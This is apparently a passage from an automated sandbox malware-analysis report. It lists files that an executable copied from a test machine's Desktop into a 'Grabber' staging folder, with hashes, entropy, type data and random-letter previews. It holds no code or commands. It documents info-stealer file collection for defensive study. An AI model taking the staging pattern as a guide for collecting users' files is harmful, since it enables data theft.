Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG\ZSSZYEFYMU.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698801429970146
Encrypted:	false
SSDEEP:	24:qYZf7NYgK11E+8TKka0vEdKPG8TQZjtLMiMl+gc:Zk1k3a0Ma18Z4A
MD5:	488BC4EF686937916ECE6285266A6075
SHA1:	498BA8EBDA3DABD222532DB0C0D6262B0C5A7E08
SHA-256:	8DEB161A95E22B50B1BD88EDBBB4312003788B8A6B35D22AEC02CC200FF34C17
SHA-512:	1B7AC223F6277A74893597499F79D674E0798699081B0B2602123B9118E3F68815A951F787E71E5C35589E5AACF987E9C8F669FF9A9F6E94209F15DADEFF40A3
Malicious:	false
Preview:	ZSSZYEFYMUQEKZVPQBMSGZPGFJSTPVKSKKYYOJJIVKJRXMBDCMKBNSXEZOYYLLCVGBCQCKVUSXHLTTLRBHPCNSEMRROKBXFGQJZTBAVNRJJQBKWQYWINUTDWXUKTWQTLFVKQJLRXVFMCOZRZYQJKBITZONPSKVFYGVFRXBDOVYHVEMAQOEYMKHGFIUSMUZFLKRKBNYFQULYASQJWIMXTPKLTXNGJEWMVSDMVYEHMDPUBWHXLMDGALITFYOPNEIQSZIFTQVUSLRLYPKRTXNKPZMOTSFMCTTCARDYTVYJNZYBYCYFEMWWKCHMOTEZUTCREBZPMVCXBYPYANERMGIWQGRLDPRJEURITRIHETMYHEDRHVZWCMDHNFFZGLKKJQGCRIABTVOOSCMRDMCYBMDQOGHUUZIQUDIGWJEDYSILALQBOBHJCJXMYCXWMKWTAZTAUZGCOOYTBWHVSAMUGEMKVHNGWYROVAEWXIOJKNUUAHUZJKSBJBZHYPRMGXULRNKCEDZBZFSCLCLARQDJMLPUKDSUWUIZMUDIKRKQZKQOXAYQYQTWHEIQXYYRXUJUIJQHETOHAPWXNCXFRKNXDPMNGFVZLBDFQUQRTHWUPUFFOEETFIAMWILGGLMPNTNBWFAVUGTBECKTLKLZQTWDYQGKSATWYWCKMJUIBSPWHFOXTNCPNZROSZPOSCRTUVGPSNZPJGXCOSDTDGNOFJGXANNYNPDRWRWHRMJKJZLEGOXMOOUXTCHTTXGYUQDVKJZMOUPMXIJCGGEIUPFMUDPJPVMINFDESCQIALHEUSISIOWESWYRPEKDPMSSUALHIWLZBLYGOHEFVJWNLRWWTIYJVKFFZJKDTZXWMWMLHMPMCDJASZUPRTYGWPHHTFMTSSQIBOUWXAGDKQACWGATARXNPCMQFCVREPARZFKWLUWYDUSCBVSUXEQBCXPUESWMVITZYZKPVGHRQVMKQXDEITVASTNPYLAQHWTYQQEBOGBVRUVAJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MNULNCRIYC.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704010251295094
Encrypted:	false
SSDEEP:	24:/j/sfpWFBIirMexXYVw/K9dKAkzFeHx1x21g4kug4c7xy:/j/vBDZxXYVw/KXjHx/4kuUxy
MD5:	DF05C5F93419C56BFE3A84BDCC929382
SHA1:	36AABBCD46C0F368E18FA602E486816D2578F48E
SHA-256:	F7116531006BD0A5DEE64436C66CE5487C662F72BFBCD235C7407FBF2A3278DE
SHA-512:	EB50E34AA5EE92A7C90AA5BCE11F0693AFAC73C26B04AF9C676E15A24813C52EAF09A4EA3F6490223CABCDB3EB6277E74CB6FF288D3D1871F14B410E950656BA
Malicious:	false
Preview:	MNULNCRIYCLQPFRTTBIRJXLLXDPOIGHIWSMRZAWOWMFPIGBQDOQPBHCVDNAEFVPPKLZOIKPKFYDTDOGMSIUWATNOJJJSNKBWJHKKWMUZDRGJJNWUASOTXKYYIZLCOHDOBJPMAPIXVROTWYIYRPFZWZLECCXJOFYKKMMQGDBCRRZBEIALJQWFBIRGZWKKZNILSZURIFNVYXWPHRMYGXATLINJURPYVWCXYNUAESGKBUAMJTBBSVQQAIZKUVJSGVILJMHXCRFQYYXESEYBSMBQEHOEREHZFHPFENYHMHULCMQJKSSZLDDCMPWESAOKZQCENLMVXZGUVHNVUKXEWENTAXUEHCWCADQIRNYDFQPSQSUSDTQUVKPDYTOYMXIFXIMYDOEFHNJDKHPJDUFNMBXUSNDPQKBSTIVTXYHJYKOGCJMZHQRQQDXTWGEMBAJZIDXHPCGJTNITUFATHMPLPFJLWOPXNLVVCCPOQFCWKUCSSMFUWUXSMBYFBMUPJSINHRBJCPPQTSNUWCSGVBNMGEVXSQAUHMBGCNHVBRKKXPGDWRHAWFZYIGXLNCPKSLAZERFWOQNQAXTGZOWNEPLIJOXTLEMUDNYMQCRGFNMOCSUXSKKUKSNFLMUYAVMFWVWOEHAYJWOLYNYYTGSCYSYAJVUNEZQYLOBOCROMKWXPJGQVMSTNKYJEQCUQCBVMAJBOALKJAPYUEVMIWWFMSPLPSKKZMKNEKPQGDNBVBYHNPDIQEEKXUZLGWXQGDQZEHBMYYFUDFGNLYGARBRCREXIQUUWFEXDYINDKFJACYETJBANLSCEYWEBIPFZEOGUWOHBPBFLDAELAEPFOIZRSYWISCBUYPUAHWUVAIRDXHGXUQNAEDFFRDSODQFGQLGCIHSIWHVUDCTSMIQTMXSFNUPKSLBDPGVPMZPHIEMSXUQSRIGGMHVDMGMPEPCJPZBENUEBMZNZVWTRCVAGRSYRBZLOAETCXTWCINHSWQQFCHATVQRGJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MQAWXUYAIK.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694269844633945
Encrypted:	false
SSDEEP:	24:8fZFmL9j6Vqvtvrd45sdmW5rRO2KEceUJEcnD1:8RFmL9wqY5qmW5VvcpJEq
MD5:	5E40B4BAF83E9A23A02D6AB379018ADE
SHA1:	47E1914E79AF5D1C90B201FA9A2470A6DDE0D2D0
SHA-256:	E4A221B66518E711FA910625864F36100572A341B05960B3A01889E6393860AF
SHA-512:	50B4FC17B8E6A3D6F2AE7E79BC928ECF02344807B7C0103D91C9C9B01846D3026F377511B8792658587CED392F303F3B325DACD669554055A3C4E778E64A5CA9
Malicious:	false
Preview:	MQAWXUYAIKJZDQIPIEWMLSKXQDXCSIBTOUXCXZAQEYMFIPUKEWDRKYXMBFAEAIEBYLJHANJDICKVRWRYTJZOWEFFJPSSDNBTMTPIVXSVKHYSQUVOKIIKOHZRTBEATVKDWNNQBMYUGKPMRHQBAPGBOTHRORULCQYAEBJYXMZFZXEDLVUTMXEOPNUTQDPFDWWNOPYMFDCDNUQUQLYMWMKOJZMRIYBCAFJAEFUVTOUFBQBRUBWQVGDWPIKRITDALHWQSAPYVARQGQLYXLMNTQSLSPAUIWZRRROVEGNTPLNQITTJYFKNXCKERAVXLSGHLBRKTFPMXSSIBZDONXSKHXZFWONPIPTFGNRIYRMYPZXLVXEJJMAHKCIYWPFDAHGCVFRHUEIHZKBVMRMLFSKMOMDMMQZJJAOFNHFAMIBCLCLZHQCIKLOBZLNSVBVCHDOYIHMAWWJNQHZDGKVCOCIRQOYTUFEWAGZWBPNLJFWAKYETACSEZLMIQNOAAWSGVNBZZZMSSEFVSETBVTSMTSAJHDYWLIBJPQUHPXWOPSVWQVVSLPTYOWJGWLXRJOMQMBZSMWLZZDUJIUHYZLUNSOMJMWEUBWYSZMXVDNUGSZBSFDACOIFWETJRIXVPDMSVMTKEKNHJFFXCTPPDKYDXOUOGJAFSXVENTIMFLXNKBWSOIJAZLZTXZGBBMUATMNGOCOLHIAOOTBENXJLNEBPUYZAWEWHZCOBEUXLNOCBFMFNLCFQRYSEURUEVQSEGVPCVNXYOUEBPWYJVBOVZHHSIVQELASLMFLMIGPFTSWZUYAGUCKFCQXXUWMMESTICTHONLUYSPUWOTQKWRRQMUHGZGAAEZOPOKQULFWRPEFDYEONLKPEMDUKCRINZIRUSKDDNYBNBYIIEFYAXNFVFGHEJTHFTUPICAWBETIIANYRONFSQFBHEGJISEQSPFKPRSEZHTQOXRPUKTEUQJYBYNQULHXLSRXNENUVTORORBUHFHDFSRJFI

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MQAWXUYAIK\FACWLRWHGG.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MQAWXUYAIK\MNULNCRIYC.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704010251295094
Encrypted:	false
SSDEEP:	24:/j/sfpWFBIirMexXYVw/K9dKAkzFeHx1x21g4kug4c7xy:/j/vBDZxXYVw/KXjHx/4kuUxy
MD5:	DF05C5F93419C56BFE3A84BDCC929382
SHA1:	36AABBCD46C0F368E18FA602E486816D2578F48E
SHA-256:	F7116531006BD0A5DEE64436C66CE5487C662F72BFBCD235C7407FBF2A3278DE
SHA-512:	EB50E34AA5EE92A7C90AA5BCE11F0693AFAC73C26B04AF9C676E15A24813C52EAF09A4EA3F6490223CABCDB3EB6277E74CB6FF288D3D1871F14B410E950656BA
Malicious:	false
Preview:	MNULNCRIYCLQPFRTTBIRJXLLXDPOIGHIWSMRZAWOWMFPIGBQDOQPBHCVDNAEFVPPKLZOIKPKFYDTDOGMSIUWATNOJJJSNKBWJHKKWMUZDRGJJNWUASOTXKYYIZLCOHDOBJPMAPIXVROTWYIYRPFZWZLECCXJOFYKKMMQGDBCRRZBEIALJQWFBIRGZWKKZNILSZURIFNVYXWPHRMYGXATLINJURPYVWCXYNUAESGKBUAMJTBBSVQQAIZKUVJSGVILJMHXCRFQYYXESEYBSMBQEHOEREHZFHPFENYHMHULCMQJKSSZLDDCMPWESAOKZQCENLMVXZGUVHNVUKXEWENTAXUEHCWCADQIRNYDFQPSQSUSDTQUVKPDYTOYMXIFXIMYDOEFHNJDKHPJDUFNMBXUSNDPQKBSTIVTXYHJYKOGCJMZHQRQQDXTWGEMBAJZIDXHPCGJTNITUFATHMPLPFJLWOPXNLVVCCPOQFCWKUCSSMFUWUXSMBYFBMUPJSINHRBJCPPQTSNUWCSGVBNMGEVXSQAUHMBGCNHVBRKKXPGDWRHAWFZYIGXLNCPKSLAZERFWOQNQAXTGZOWNEPLIJOXTLEMUDNYMQCRGFNMOCSUXSKKUKSNFLMUYAVMFWVWOEHAYJWOLYNYYTGSCYSYAJVUNEZQYLOBOCROMKWXPJGQVMSTNKYJEQCUQCBVMAJBOALKJAPYUEVMIWWFMSPLPSKKZMKNEKPQGDNBVBYHNPDIQEEKXUZLGWXQGDQZEHBMYYFUDFGNLYGARBRCREXIQUUWFEXDYINDKFJACYETJBANLSCEYWEBIPFZEOGUWOHBPBFLDAELAEPFOIZRSYWISCBUYPUAHWUVAIRDXHGXUQNAEDFFRDSODQFGQLGCIHSIWHVUDCTSMIQTMXSFNUPKSLBDPGVPMZPHIEMSXUQSRIGGMHVDMGMPEPCJPZBENUEBMZNZVWTRCVAGRSYRBZLOAETCXTWCINHSWQQFCHATVQRGJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MQAWXUYAIK\MQAWXUYAIK.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694269844633945
Encrypted:	false
SSDEEP:	24:8fZFmL9j6Vqvtvrd45sdmW5rRO2KEceUJEcnD1:8RFmL9wqY5qmW5VvcpJEq
MD5:	5E40B4BAF83E9A23A02D6AB379018ADE
SHA1:	47E1914E79AF5D1C90B201FA9A2470A6DDE0D2D0
SHA-256:	E4A221B66518E711FA910625864F36100572A341B05960B3A01889E6393860AF
SHA-512:	50B4FC17B8E6A3D6F2AE7E79BC928ECF02344807B7C0103D91C9C9B01846D3026F377511B8792658587CED392F303F3B325DACD669554055A3C4E778E64A5CA9
Malicious:	false
Preview:	MQAWXUYAIKJZDQIPIEWMLSKXQDXCSIBTOUXCXZAQEYMFIPUKEWDRKYXMBFAEAIEBYLJHANJDICKVRWRYTJZOWEFFJPSSDNBTMTPIVXSVKHYSQUVOKIIKOHZRTBEATVKDWNNQBMYUGKPMRHQBAPGBOTHRORULCQYAEBJYXMZFZXEDLVUTMXEOPNUTQDPFDWWNOPYMFDCDNUQUQLYMWMKOJZMRIYBCAFJAEFUVTOUFBQBRUBWQVGDWPIKRITDALHWQSAPYVARQGQLYXLMNTQSLSPAUIWZRRROVEGNTPLNQITTJYFKNXCKERAVXLSGHLBRKTFPMXSSIBZDONXSKHXZFWONPIPTFGNRIYRMYPZXLVXEJJMAHKCIYWPFDAHGCVFRHUEIHZKBVMRMLFSKMOMDMMQZJJAOFNHFAMIBCLCLZHQCIKLOBZLNSVBVCHDOYIHMAWWJNQHZDGKVCOCIRQOYTUFEWAGZWBPNLJFWAKYETACSEZLMIQNOAAWSGVNBZZZMSSEFVSETBVTSMTSAJHDYWLIBJPQUHPXWOPSVWQVVSLPTYOWJGWLXRJOMQMBZSMWLZZDUJIUHYZLUNSOMJMWEUBWYSZMXVDNUGSZBSFDACOIFWETJRIXVPDMSVMTKEKNHJFFXCTPPDKYDXOUOGJAFSXVENTIMFLXNKBWSOIJAZLZTXZGBBMUATMNGOCOLHIAOOTBENXJLNEBPUYZAWEWHZCOBEUXLNOCBFMFNLCFQRYSEURUEVQSEGVPCVNXYOUEBPWYJVBOVZHHSIVQELASLMFLMIGPFTSWZUYAGUCKFCQXXUWMMESTICTHONLUYSPUWOTQKWRRQMUHGZGAAEZOPOKQULFWRPEFDYEONLKPEMDUKCRINZIRUSKDDNYBNBYIIEFYAXNFVFGHEJTHFTUPICAWBETIIANYRONFSQFBHEGJISEQSPFKPRSEZHTQOXRPUKTEUQJYBYNQULHXLSRXNENUVTORORBUHFHDFSRJFI

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MQAWXUYAIK\PSAMNLJHZW.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\MQAWXUYAIK\QVTVNIBKSD.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NHPKIZUUSG.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PSAMNLJHZW.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
